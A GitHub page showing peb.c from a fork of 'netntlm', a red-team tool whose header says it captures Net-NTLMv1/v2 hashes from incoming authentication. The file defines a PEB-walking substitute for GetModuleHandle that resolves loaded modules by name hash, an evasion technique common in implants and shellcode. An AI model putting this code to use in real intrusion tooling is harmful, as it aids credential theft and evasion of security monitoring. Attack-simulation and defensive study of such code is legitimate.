forked from SolomonSklash/netntlm
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpeb.c
41 lines (35 loc) · 784 Bytes
/
peb.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
*
* Captures incoming Net-NTLMv1/v2 hashes
* for incoming authentication attempts
* via NTLM.
*
* GuidePoint Security LLC
* Threat and Attack Simulation
*
**/
#include "common.h"
/**
*
* @brief: Acts as a replacement for GetModuleHandle.
*
* @param: Hash of the module name.
*
**/
D_SEC( E ) PVOID PebGetModule( _In_ ULONG ModHash )
{
PPEB Peb = NULL;
PLIST_ENTRY Hdr = NULL;
PLIST_ENTRY Ent = NULL;
PLDR_DATA_TABLE_ENTRY Ldr = NULL;
Peb = NtCurrentTeb()->ProcessEnvironmentBlock;
Hdr = & Peb->Ldr->InLoadOrderModuleList;
Ent = Hdr->Flink;
for ( ; Hdr != Ent ; Ent = Ent->Flink ) {
Ldr = C_PTR( Ent );
if ( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == ModHash ) {
return C_PTR( Ldr->DllBase );
};
};
return NULL;
};